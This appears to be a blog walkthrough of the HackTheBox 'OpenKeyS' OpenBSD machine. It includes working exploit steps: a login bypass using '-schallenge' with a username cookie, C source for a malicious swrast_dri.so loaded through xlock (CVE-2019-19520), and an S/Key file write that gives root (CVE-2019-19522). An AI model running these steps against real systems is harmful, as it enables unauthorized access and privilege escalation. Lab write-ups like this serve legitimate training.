This time a simple and fast BOX with a few points of doubt, but nothing that can stop us from completing this umpteenth CTF.

Let's go! Activate Nmap scan!

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-13 00:38 CEST
Nmap scan report for 10.10.10.199
Host is up (0.042s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
|   256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
|_  256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519)
80/tcp open  http    OpenBSD httpd
|_http-title: Site doesn't have a title (text/html).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.45 seconds

Two open ports 22 for the ssh and 80 for the HTTP.

On the port 80 there's a login page.

I tried with usual SQLi string, but nothing happens. The sqlmap too, don't provide any result (but we know that could be a false negative). The dirb tools, provide some folder and in one of them I found something interesting; the folder name is "includes".

Inside the swp file (swap?), seems to be a section of code and some other binary data. In the immediate, I have no idea how to use, but I wrote down it and take in mind. In the meantime, my wappalizer plugin identifies some technologies used on the portal.

Most of them have no particular exploit to use, but OpenBSD, could be interesting to approach, so, I search on the internet for "openbsd httpd exploit". Many results, but just on the first page of google, after some unuseful pages read, found something:

OpenBSD Multiple Authentication Vulnerabilities

There are four different exploits, but, the third one attracts my attention, also because the name remembers me the name of this BOX: "CVE-2019-19522", the privilege escalation via “S/Key” and “YubiKey”. Following the link:

NVD - CVE-2019-19522

This time there's also a detailed explanation of the exploit:

oss-security - Authentication vulnerabilities in OpenBSD

This is interesting, but I cannot make a relation between the source code found before and this vulnerability (the first based on php technology the vulnerability on the OpenBSD's Authentication). I come back to the code and analyze it, in particular, I'm interested in one specific line of code:

$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);

I proceed to afford two different searches on google;

The first on the "escapeshellcmd exploit", to understand. The result is a link on github, that provide me many interesting information, but I can't find how to apply to my specific case.

kacperszurek/exploits
Contribute to kacperszurek/exploits development by creating an account on GitHub.

My second research was "check_auth openbsd", but this time I cannot find anything and this is really strange, probably is a custom resource, so I try to download to investigate better.

http://10.10.10.199/auth_helpers/check_auth

I disassemble it, making a superficial static analysis, but it's really complex because is a BSD binary and I cannot launch it.

Focusing on the exploit authentication on the OpenBSD systems, I start to imagine that the check_auth binary should improve the basic authentication of the BSD servers, so, if I apply the exploit passing through the web page, probably if I provide "-schallenge" as username and "passwd" as password, probably I can log in on the system.

Well, it was predictable, but, I'm on the right way; to notice that the URL of the page is changed.

Reading better the code, I feel that the order of the instruction is not correct, but (as I said before) reversed (swap?). So I try to visualize it in the right order.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.199 - OpenKeyS (lin)/attack$ strings auth.php.swp | tac
<?php
function authenticate($username, $password)
    $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
    system($cmd, $retcode);
    return $retcode;
function is_active_session()
    // Session timeout in seconds
    $session_timeout = 300;
    // Start the session
    session_start();
    // Is the user logged in? 
    if(isset($_SESSION["logged_in"]))
    {
        // Has the session expired?
        $time = $_SERVER['REQUEST_TIME'];
        if (isset($_SESSION['last_activity']) && 
            ($time - $_SESSION['last_activity']) > $session_timeout)
        {
            close_session();
            return False;
        }
        else
        {
            // Session is active, update last activity time and return True
            $_SESSION['last_activity'] = $time;
            return True;
        }
    }
    else
    {
        return False;
    }
function init_session()
    $_SESSION["logged_in"] = True;
    $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
    $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION["username"] = $_REQUEST['username'];
function close_session()
    session_unset();
    session_destroy();
    session_start();
#"! 
3210
/var/www/htdocs/includes/auth.php
openkeys.htb
jennifer
b0VIM 8.1

Good, now is better and I start to understand something. It seems to be an inclusion file (not by chance it is in the includes folder). That jennifer it seems to be a username and I suppose that other string is the path of the real file on the remote file system.

The doubtful point is here, from all this, I have assumed a behaviour, of which, however, I have no confirmation, unless after having tried and ascertained it. This way of approaching with assumptions based on something that is not a confirmation, sound to me a bit strange.

Looking at the code is clear that the username is saved on the $_SESSION of the web portal taking the information from the $_REQUEST. Now, going over the basics of PHP, remember that the $_REQUEST retrieves the information from the $_GET, $_POST and $_COOKIES and the order is defined from the developer configuring this specific feature. Now, considering that the auth.php file saves the username information on the $_SESSION and supposing that sshkey.php recover the same information from that $_SESSION, could be interesting if the login page, instead of the $_REQUEST, used the $_POST to recover the username and check the authentication, in that case, if the order (another supposition) for the variable provides the $_COOKIES before the $_POST we could have a series of coincidences that should be considered a bug. I know, my explanation is really tricky, I try with a sequence of events:

  1. Login Form submit information:
    * username = -schallenge (form-data)
    * password = passwd (form-data)
    * username=jennifer (cookie)
  2. index.php take the username from $_POST (-schallenge) and authenticate the user cause the vulnerability
  3. Session is initialized using the $_REQUEST and the prder defined to retrieve the info is $_COOKIES, $_GET, $_POST (or $_COOKIES, $_POST, $_GET); in thiscase the value in the $_SESSION is "jennifer"
  4. The flow is redirected to the sshkey.php page, that recovers the username from the $_SESSION, the value retrieved is "jennifer" and the page provide the ssh key for a user that is not logged in.

I hope is clear now! Good, let's go and apply this possible scenario. Make a call and initialize the PHPSESSION cookie:

Then add the username cookie:

Call the request again:

It seems to work, that means our reasoning is correct. Well, create a key with the result and try to connect.

in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.199 - OpenKeyS (lin)/attack/ssh$ ssh -i id_rsa jennifer@10.10.10.199
Last login: Mon Aug 17 11:54:06 2020 from 10.10.15.233
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

openkeys$ whoami
jennifer
openkeys$ pwd
/home/jennifer
openkeys$ id
uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
openkeys$ ls -la
total 56
drwxr-xr-x  4 jennifer  jennifer   512 Aug 17 10:53 .
drwxr-xr-x  3 root      wheel      512 Jan 13  2020 ..
-rw-r--r--  1 jennifer  jennifer    87 Jan 13  2020 .Xdefaults
-rw-r--r--  1 jennifer  jennifer   771 Jan 13  2020 .cshrc
-rw-r--r--  1 jennifer  jennifer   101 Jan 13  2020 .cvsrc
-rw-r--r--  1 jennifer  jennifer   359 Jan 13  2020 .login
-rw-r--r--  1 jennifer  jennifer   175 Jan 13  2020 .mailrc
-rw-r--r--  1 jennifer  jennifer   215 Jan 13  2020 .profile
drwx------  2 jennifer  jennifer   512 Jan 13  2020 .ssh
-rwxrwxrwx  1 jennifer  jennifer  1099 Aug 17 10:53 ex1.sh
drwxrwxrwx  2 jennifer  jennifer   512 Aug 17 10:51 exploit
-rwxrwxrwx  1 jennifer  jennifer  4088 Aug 17 03:11 script.sh
-rwxrwxrwx  1 jennifer  jennifer    33 Jan 14  2020 user.txt
openkeys$ cat user.txt                                                                                                             
3******************************0

Good, now go for the root flag. The exploit is always the same, but we have to understand how to proceed and on the page listed before, there are all the information's we need, anyway, I understand that, before to provide the final exploit, I have to elevate my privileges again.

I have to operate for the point (referring to the detailed exploit page) "3. CVE-2019-19522: Local privilege escalation via S/Key and YubiKey", but, reading inside the section, if you don't have the auth privileges you have to proceed before with the the step "2. CVE-2019-19520: Local privilege escalation via xlock".

So, the first part:

openkeys$ cat > swrast_dri.c << "EOF"
> #include <paths.h>
> #include <sys/types.h>
> #include <unistd.h>
> 
> static void __attribute__ ((constructor)) _init (void) {
>     gid_t rgid, egid, sgid;
>     if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
>     if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
> 
>     char * const argv[] = { _PATH_KSHELL, NULL };
>     execve(argv[0], argv, NULL);
>     _exit(__LINE__);
> }
> EOF
openkeys$ ls -la
total 12
drwxrwxrwt   2 root      wheel  512 Aug 17 14:13 .
drwxr-xr-x  13 root      wheel  512 Aug 17 00:27 ..
-rw-r--r--   1 jennifer  wheel  376 Aug 17 14:13 swrast_dri.c
openkeys$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
openkeys$ ls -la
total 44
drwxrwxrwt   2 root      wheel    512 Aug 17 14:13 .
drwxr-xr-x  13 root      wheel    512 Aug 17 00:27 ..
-rw-r--r--   1 jennifer  wheel    376 Aug 17 14:13 swrast_dri.c
-rwxr-xr-x   1 jennifer  wheel  14664 Aug 17 14:13 swrast_dri.so
openkeys$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[2] 1906
openkeys$ _XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created.
ls -la
total 52
drwxrwxrwt   3 root      wheel       512 Aug 17 14:13 .
drwxr-xr-x  13 root      wheel       512 Aug 17 00:27 ..
drwxrwxrwt   2 jennifer  wheel       512 Aug 17 14:13 .X11-unix
-r--r--r--   1 jennifer  jennifer     11 Aug 17 14:13 .X66-lock
-rw-r--r--   1 jennifer  wheel       376 Aug 17 14:13 swrast_dri.c
-rwxr-xr-x   1 jennifer  wheel     14664 Aug 17 14:13 swrast_dri.so
openkeys$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
openkeys$ id
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)

And the final exploit:

openkeys$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
openkeys$ chmod 0600 /etc/skey/root
openkeys$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password:
openkeys# id                                                                                                                    
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
openkeys# cat /root/root.txt
f******************************a

Thanks to all, that's all folks!


Learn More About The Images We Choose

Today we are celebrating the work of artist Zaki Abdelmounim and joining him in his hunt for what's left of Hong Kong's iconic neon signs, an essential element of this cityscape's visual culture, covering HK's streets for years with glow. We will roam the dazzling roads aimlessly reminiscing about a dystopian past that only existed in neo-noire cult fiction movies like Blade Runner, trying to burn these lively picturesque streets into our memories before they vanish, all while figuring out how to thrive creatively in this organized chaos. Hopefully this vaporwave stylized series of street photography will bring as much joy as it did to us.

The beautiful image used in this article was created by Zaki Abdelmounim.